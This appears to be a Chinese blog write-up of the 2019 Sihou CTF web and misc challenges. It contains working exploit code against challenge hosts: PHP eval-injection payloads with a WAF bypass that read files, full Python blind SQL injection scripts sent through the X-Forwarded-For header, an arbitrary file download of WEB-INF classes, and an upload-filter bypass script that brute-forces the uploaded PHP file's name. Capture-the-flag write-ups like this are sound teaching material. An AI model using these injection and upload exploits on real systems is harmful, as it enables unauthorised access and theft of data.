easy calc

这次的比赛自己一题都没有做出来,赛后看题解的时候很难受,其实有很多东西自己其实是可以做出来的,但是思路被限制了,可能这就是菜吧。

首先web题目就是一个easy calc,emmmmmmm。想一想当初De1CTF2019的那道计算器。脑子头大.但是这一题是没有那么难。

  • 首先打开网页是一个简单的提交页面。

这里面是提交到calc.php这个文件中,这里面有一个坑,就是要想看到源码,必须要不提交数据(但是我就没有看出这一点导致后面的路越来越难走,以至放弃)。

  • 获取源码

    我们去掉num提交试试

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

我.......

这个规则其实很好绕的,他过滤了空格 制表符 \r \n 单双引号 反单引号 [ ] 还有$和 \ 和 ^,然后直接拼进了eval里面。
但是我们可以利用eval执行多条语句,简单的pyload?num=1;phpinfo()就可以执行了。没有单双引号,我们可以利用chr(xx).chr(xx) 来构造字符串。

  • fuzz测试

    但是并没有这么简单,我们发现当提交不合格的数据的时候,服务器会返回一个错误。

这个很可能是因为有waf设备在保护着(IPS/IDS等等),这里面利用了php的特性来进行绕过。

原理

当我们提交?%20num=1;xxx的时候。防护设备检测的是num。不是%20num。但是传入php的时候,php又会将前面的空格去掉。因此可以绕过waf检测。

  • payload
执行phpinfo()
?%20num=1;phpinfo()
列举根目录
?%20num=1;print_r(scandir(chr(47))) //47是"/"的ascii值
发现flag文件f1agg
读取
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))[readme](media/15713976592966/readme.md)

后记

还看到有人用http请求走私做的,我太菜了,没有复现成功。

很可惜,没有做出来,失望也好,后悔也罢,记住这次的教训就行了。

Online Proxy(最可惜的一道题)

现在想一想还很难受,这道题原本就快做出来了,但是。。。。

  • 此题虽然说是Online Proxy,并且题目内容也给人一种是ssrf的假象,但是这道题是一个sql注入题,还是xff的注入!!

注入的原理:

查看源码的时候,会发现有一个current和last_ip,这里面是sql注入的。

说实话这个sql注入的原理是有点绕的,我表达能力不好,这里面就希望各位去尝试了,这里面是单引号的注入,没有任何过滤,需要查看前后两次的回显进行比较。

这里面直接给个脚本。

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata ),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata ),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

注入表名

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x46346c395f4434743442343565 ),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x46346c395f4434743442343565),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

注入字段名

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=0x46346c395f4434743442343565 and table_name=0x46346c395f7434623165),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=0x46346c395f4434743442343565 and table_name=0x46346c395f7434623165),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

出flag了QAQ

import requests
import re
import os
flag=""
url="http://node3.buuoj.cn:28540/"
for test in range(1,100) :
low=0
high=128
while low<=high:
mid=(low+high)//2
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
header={"X-Forwarded-For":"0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '00".format(str(test),str(mid)),"Cookie":"track_uuid=ae937590-4ac9-4719-bf6f-f49ab4f42506"}
Mikasa=requests.get(url,headers=header)
Mikasa=requests.get(url,headers=header)
if "Last Ip: 1" in Mikasa.text :
low=mid+1
else :
high=mid-1
flag+=chr(int(low+high+1)//2)
print(flag)

Easy Java

这一题确实有点坑,还有点脑洞。。

  • 弱口令
    首先这个登录框其实是一个弱口令admin::admin888

但是登录之后并没有什么有用的信息。

只有一张图片

  • 任意文件下载

回到登录框发现有帮助,是一个任意文件下载,但是并非是get型的(这是一个坑)。

修改为POST型之后,先下载/WEB-INF/web.xml文件看一下结构..

之后发现存在flag控制器

下载/WEB-INF/classes/com/wm/ctf/FlagController.class获取flag

后记:一般对于java的web工程,.class文件都是放在/WEB-INF下的classes文件下面。

simple upload

这道题目用的是thinkphp来写的,但是自己没有怎么学过thinkphp,难受。

以下是源代码。

<?php
namespace Home\Controller; use Think\Controller; class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);//显示源码
}
public function upload()//
{
$uploadFile = $_FILES['file']; if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
} $upload = new \Think\Upload();// 实例化上传类,未加参数会导致所有的文件都会上传(即整个文件数组都会上传)
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

看一下规则吧,这里面来说吧,这里面实例化upload上传类的时候会发现没有加入任何的参数,如果没有加任何的参数会导致文件数组里面的东西都会被上传进去。

并且这里面只判断了$_FILES['file']的后缀,另外
\$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
这个是有问题的,在upload类里面限定后缀的是\$upload->exts()

所以我们上传的时候就可以上传文件数组绕过,并且上传的默认命名规则是
array('uniqid',''),所以上传后的文件名很相近,我们爆破后三位就行了。

脚本

# -*- coding: utf-8 -*-
import requests
import os
import re
url="http://6c3b26e6-55f3-45b7-a09f-3b847a1d362a.node3.buuoj.cn/index.php?s=Home/index/upload"
file={"file":open("./1.txt","r"),"file233":open("1.php","r")}
proxies={"http":"http://127.0.0.1:8080"}
Mikasa=requests.post(url,files=file)
print(Mikasa.text)
result=Mikasa.text.split("/")[-1].split(".")[0]#上传后的文件名
Sabre=int(result,16) while 1 :
Sabre=Sabre+1
os=requests.session()
Saber_test=str(hex(Sabre)).split("0x")[1]
url_test="http://6c3b26e6-55f3-45b7-a09f-3b847a1d362a.node3.buuoj.cn/Public/Uploads/2019-10-22/{}.php".format(Saber_test)
print(url_test)
try :
oss=os.get(url_test,timeout=1)
except :
pass
#print(oss.text)
if oss.status_code !=404 :
print(url_test)
exit()
break

dict

Go语言的题目,太菜了,不会。

黄金6年(杂项)

涉及的Linux的命令(当然也可以用win上的工具)
strings
base64
hexdump

首先使用strings查看一下基础的信息。

strings 黄金6年

在末尾发现有base64的密文。

UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==

base64解密一下

echo "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==" | base64 -D

还是很模糊那就用16进制加上ascii看一看吧。

echo "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==" | base64 -D | hexdump -C

可以看出这是个rar文件,还是有密码的,密码应该就藏在视频里面。

PS:密码就是视频里面,是四个二维码,需要逐帧观看(最后一个藏的真深)

tankgame(这是个逆向题目吧)

其他的都太难了,撤了撤了。

嘶吼CTF2019总结(Web部分题目复现以及部分杂项)的更多相关文章

  1. 划水嘶吼misc

    划水嘶吼misc [题目描述]: 开局一张图,flag全靠编 [题目writeup]: 瞅半天,瞅到二维码 然后用potplayer按帧查找到skr二维码 通过PS自动调整对比度,扫出key1,2,3 ...

  2. WEB部分题目writeup

    MEIZIJIU_PHP 题目链接: http://202.112.51.184:20001/ 打开网页出现一段PHP代码: 代码大意就是如果得到的code不为空则执行下列操作: 如果code长度大于 ...

  3. 两道CTF Web的题目

    1.easyphp 1.1.题目描述 题目首先是一张不存在的图片 查看源码发现只有一句话 <img src="show.php?img=aGludC5qcGc=" width ...

  4. 【web】docker复现环境踩坑

    在先知看到有师傅发了个学习 P 牛的代码审计的文章,在 github 上下下来复现环境,结果 docker 各种问题,气死 安装 docker-compose:pip install -i https ...

  5. 嘶吼CTF easy calc

    进入之后可以看到我们需要输入一个计算式来得到答案,burpsuite进行抓包之后发现页面来自于calc.php 我们直接访问calc.php页面 发现源代码泄露 可以看到当我们没有输入num值的时候就 ...

  6. 2019CISCN华南线下两道web复现

    原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RC ...

  7. [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

    前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...

  8. Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】

    零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...

  9. Portswigger web security academy:DOM-based vulnerabilities

    DOM-based vulnerabilities 目录 DOM-based vulnerabilities 1 - DOM XSS using web messages 2 - DOM XSS us ...

随机推荐

  1. spring 结合 redis 例子 (转)

    好了费话不多说了,介绍下spring 结合redis是怎么操作数据的 这里我用了maven管理,由于简单嘛,依赖下包就行了..不用单独去依赖包,成了我的习惯 好了,下面是pom的代码 <proj ...

  2. Scala(一)基础

    OOP 面向对象编程 AOP 面向切面编程 FP 函数式编程 编程语言都要定义变量,一些代码是用来注释的,变量和变量之间有一些关系,要做一些运算,运算离不开流程控制,进行运算的数据往往来自数据结构,最 ...

  3. Nginx配置PHP环境支持

    打开Nginx配置文件 输入 vim etc/nginx/nginx.conf 找到配置扩展文件: 打开配置文件配置如下环境: server { listen       80; server_nam ...

  4. Delphi动态添加控件

    {动态添加导航} var Panl:Tpanel; MainPage,Subpage:TPageControl; TabSheet1: TTabSheet; ToolBar2: TToolBar; S ...

  5. 2019 wannafly winter camp day5-8代码库

    目录 day5 5H div2 Nested Tree (树形dp) 5F div2 Kropki (状压dp) 5J div1 Special Judge (计算几何) 5I div1 Sortin ...

  6. goroutine 需要注意的一个小细节

    虽然goroutine 是并发执行的,但是它们并不是并行运行的.如果不告诉Go 额外的东西,同一时刻只会有一个goroutine 执行.利用runtime.GOMAXPROCS(n) 可以设置goro ...

  7. 三:robotframework框架配合selenium之jquery定位

    RF框架我用的比较多,限于自己的代码水平,目前工作中一直是用RF框架.unittest框架,我也练习了很久,还差一点封装的技巧与设计模式的学习.所以不敢在项目中实践. 等明年我的代码水平再上升一个台阶 ...

  8. fatal error C1047: 对象或库文件“.\x64\Release\Des.obj”是使用比创建其他对象所用编译器旧的编译器创建的;请重新生成旧的对象和库

    问题描述: 在把一个32位的dll编译成64位的时候提示上面的错误 解决办法: >属性->常规->项目默认值->全程序优化  将这里的默认项 "使用链接时间代码生成& ...

  9. base64和Xxtea的加密和解密

    base64和Xxtea的加密和解密 数据加密是web数据安全的一种方式,前几天拿到一个base64+xxtea加密的数据,现在在这里整理一下使用的过程.首先当然是全网站找解密方法,但是最后的结果不是 ...

  10. IntelliJ快捷键记录

    1.自动补全返回类型及变量:Ctrl+Alt+V2.大小写转换:Ctrl+Shift+U3.get/set方法快捷键:Alt+Insert4. 查看类继承关系:Ctrl+H或者Ctrl+Shift+A ...